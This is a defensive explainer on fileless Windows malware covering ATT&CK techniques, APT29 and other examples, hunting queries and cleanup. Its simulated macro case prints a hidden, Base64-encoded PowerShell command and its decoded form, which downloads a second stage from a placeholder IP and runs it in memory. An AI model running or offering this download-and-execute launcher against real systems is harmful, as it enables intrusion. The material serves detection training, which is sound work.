What is Fileless Malware?

Fileless describes where the payload lives. The code arrives as a macro, a script or a command line, then runs inside processes Windows already trusts: powershell.exe, WmiPrvSe.exe, mshta.exe, rundll32.exe. Whatever has to survive is kept somewhere other than an executable file. MITRE ATT&CK names the Windows Registry, event logs and the WMI repository as the common non-volatile places, and Linux shared-memory directories such as /dev/shm as volatile ones.

In practice the label is looser than vendor pages suggest. Most intrusions sold as fileless touch disk somewhere: the phishing document, a DLL fetched later, the hive file that holds the registry value. ATT&CK itself notes that fileless storage can still leave artifacts inside the WMI repository (%SystemRoot%\System32\Wbem\Repository) and the registry hives (%SystemRoot%\System32\Config), formats that are hard to inspect. What the attacker avoids is a standalone malicious executable that antivirus could hash, scan or detonate. It is the same idea as living off the land, applied to the payload as well as the tooling.

How fileless malware works

A typical Windows chain has four steps:

1. Delivery. A user opens a macro-enabled document or an HTA file, or an attacker who already holds valid credentials runs a command remotely over WMI, which ATT&CK notes can travel over DCOM (port 135) or WinRM (5985/5986).
2. Execution in memory. The first stage starts a trusted interpreter with the payload in its arguments, often powershell.exe -enc and a Base64 string. That command downloads a second stage and runs it with IEX without saving it.
3. Hiding inside a process. The second stage loads code straight into memory, or injects it into a long-running process such as explorer.exe. ATT&CK's own example of reflective loading is PowerShell calling Assembly.Load() on raw bytes.
4. Persistence without an executable. An encoded script goes into a registry value, and something reads and runs it at startup: a Run key, a scheduled task or a WMI event subscription.

Fileless techniques in MITRE ATT&CK v20

ATT&CK has no technique called fileless malware. The behavior is spread across several, and v20 (current since 13 October 2026) files the evasion ones under the Stealth tactic:

Fileless malware examples

These come from ATT&CK's procedure examples, with what each one kept out of the file system:

• POSHSPY (APT29). A PowerShell backdoor in use since at least 2015, kept as a fallback in case APT29 lost its primary access. It persists through a WMI event subscription and runs its payload through PowerShell.
• Sibot (APT29, SolarWinds compromise). VBScript malware Microsoft found in early 2021. It stored a second-stage script in the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot, and ATT&CK records it running through mshta.exe and through a scheduled task. It also downloaded DLLs to disk and ran them with rundll32, which shows how rarely an intrusion stays file-free from start to finish.
• Astaroth. ATT&CK records it using WMIC to execute its payloads.
• Registry-resident configuration. QakBot, REvil, ShadowPad and PipeMon are among the families ATT&CK lists under Fileless Storage for keeping configuration or encrypted payloads in registry values.
• Volt Typhoon. ATT&CK records the group using native tools and LOLBins to keep and expand access. The 2024 joint guidance on living off the land techniques from CISA, NSA, FBI and partner agencies draws partly on incident response at critical infrastructure organizations Volt Typhoon compromised.

A simulated case: Word macro to powershell -enc

(Simulated example generated by SOCSimulator Research. Host and user are invented; the IP comes from a documentation range.)

At 10:42 UTC a user on WS-ACC-114 opens remittance_Q3.docm and enables content. Sysmon records the macro starting PowerShell:

Microsoft-Windows-Sysmon/Operational  Event ID 1 (Process creation)
UtcTime:           2026-10-06 10:42:17.311
Image:             C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine:       powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADgALgA1ADEALgAxADAAMAAuADIAMwAvAHUALgBwAHMAMQAnACkA
ParentImage:       C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
ParentCommandLine: "C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE" /n "C:\Users\m.ortega\Downloads\remittance_Q3.docm"
User:              CORP\m.ortega
IntegrityLevel:    Medium

Two fields carry the alert. ParentImage is Word, and a word processor has no reason to start a hidden PowerShell window. CommandLine hides its intent behind -enc. You can decode the Base64 by hand (it is UTF-16LE), but if Script Block Logging is on, PowerShell has already done it for you. Event 4104 records the text of each script block as it is compiled:

Microsoft-Windows-PowerShell/Operational  Event ID 4104  Level: Verbose
Creating Scriptblock text (1 of 1):
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/u.ps1')
ScriptBlock ID: 3c9e7f12-5a4b-4d8e-9f21-7b6a0c4e8d55

A second 4104 a second later holds the content of u.ps1, the stage that never touched disk, including a [System.Reflection.Assembly]::Load($bytes) call. Event 4104 is a PowerShell event in Microsoft-Windows-PowerShell/Operational, not a Sysmon event ID, and it needs the "Turn on PowerShell Script Block Logging" policy. Without the policy, PowerShell 5 only logs blocks whose content looks malicious on its own, which Microsoft calls a record of last resort. The event ID 4104 reference covers the fields and how to enable it.

The rest of the chain, in Sysmon:

Microsoft's Sysmon reference says event 13 records the written data only for DWORD and QWORD values, so for a string value like this one, read the data from the registry or from your EDR's registry telemetry. Event 10 is noisy unless you filter out expected access, and Microsoft recommends exactly that.

If the attacker later gets administrator rights, WMI persistence usually follows. Sysmon logs it in three events: 19 when an event filter is registered (namespace, filter name and the WQL query, for example a filter on system uptime that fires a few minutes after boot), 20 when a consumer is registered (consumer name and destination, here powershell.exe -nop -w hidden -enc …) and 21 when the two are bound. A consumer of type Command Line or Active Script created by anything other than your management tooling deserves a ticket.

Fileless malware detection queries

Both queries are starting points. Run them over a week of your own data and allowlist what your admins and Office add-ins legitimately launch before you turn either into a rule.

Microsoft Defender XDR advanced hunting:

DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe")
| where FileName in~ ("powershell.exe", "pwsh.exe", "mshta.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "regsvr32.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| order by Timestamp desc

Splunk over Sysmon event 1 (adjust index and source to your add-on):

index=wineventlog source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
    (ParentImage="*\\WINWORD.EXE" OR ParentImage="*\\EXCEL.EXE" OR ParentImage="*\\OUTLOOK.EXE")
    (Image="*\\powershell.exe" OR Image="*\\mshta.exe" OR Image="*\\wscript.exe" OR Image="*\\rundll32.exe")
| table _time, host, User, ParentImage, Image, CommandLine

In the 4104 text, FromBase64String, Reflection.Assembly, DownloadString and IEX together are worth a look on any host. An EDR adds memory scans of the process that received the injected thread, which neither log gives you.

Does restarting remove fileless malware?

Only the part that lives purely in memory. A reboot ends the PowerShell process and the injected thread in explorer.exe. It does nothing to what the attacker wrote to non-volatile storage: the registry values, the Run key, scheduled tasks and WMI event subscriptions. Microsoft's WMI documentation says a permanent event consumer keeps receiving events until its registration is explicitly cancelled and is typically loaded at startup, and ATT&CK lists computer uptime among the events a malicious subscription can wait for. The reboot can be what reinfects the host. It also destroys the memory evidence, so capture memory first if the investigation needs it. On Linux, files in /dev/shm or /run/shm are mapped to RAM and disappear on restart; ATT&CK records the Quad7 activity relying on a volatile /tmp on network devices for the same reason.

How to remove fileless malware

1. Isolate the host through your EDR and leave it powered on.

2. Take a memory image if you need to recover the in-memory payload.

3. Enumerate WMI persistence. Standard consumers are compiled into root\subscription by default, so start there:

   Get-CimInstance -Namespace root/subscription -ClassName __EventFilter
   Get-CimInstance -Namespace root/subscription -ClassName __EventConsumer
   Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding

   Remove the malicious binding, consumer and filter with Remove-CimInstance, then check any other namespace that showed up in Sysmon 19 to 21.

4. Review the Run and RunOnce keys of every user hive, scheduled tasks (Get-ScheduledTask) and services for encoded PowerShell, mshta or rundll32 command lines, and delete the registry values that hold the payload.

5. Reset the credentials of the accounts the payload ran as, then watch the host for the same parent-child pattern for a few days. If you cannot account for every persistence entry, reimage.

How to prevent fileless malware attacks

• Log what fileless code cannot avoid. Enable Script Block Logging, and Protected Event Logging if script content may include secrets (Microsoft recommends pairing them). Deploy Sysmon with events 1, 3, 8, 10 (filtered), 13 and 19 to 21.
• Keep AMSI in the path. AMSI is built into PowerShell (scripts, interactive use and dynamic code evaluation), Windows Script Host, JavaScript, VBScript and Office VBA macros, so the installed antimalware engine sees script content when it runs, including code that never existed as a file.
• Turn on the attack surface reduction rules that target this chain in Microsoft Defender: block all Office applications from creating child processes, block Office applications from injecting code into other processes, block execution of potentially obfuscated scripts, block Win32 API calls from Office macros and block persistence through WMI event subscription.
• Baseline normal tool use. CISA's joint guidance says many organizations do not implement the practices that support detecting LOTL activity, which is why it keeps working with little to no investment in tooling. Knowing which admins run PowerShell remotely, and from where, is what makes the odd parent process stand out.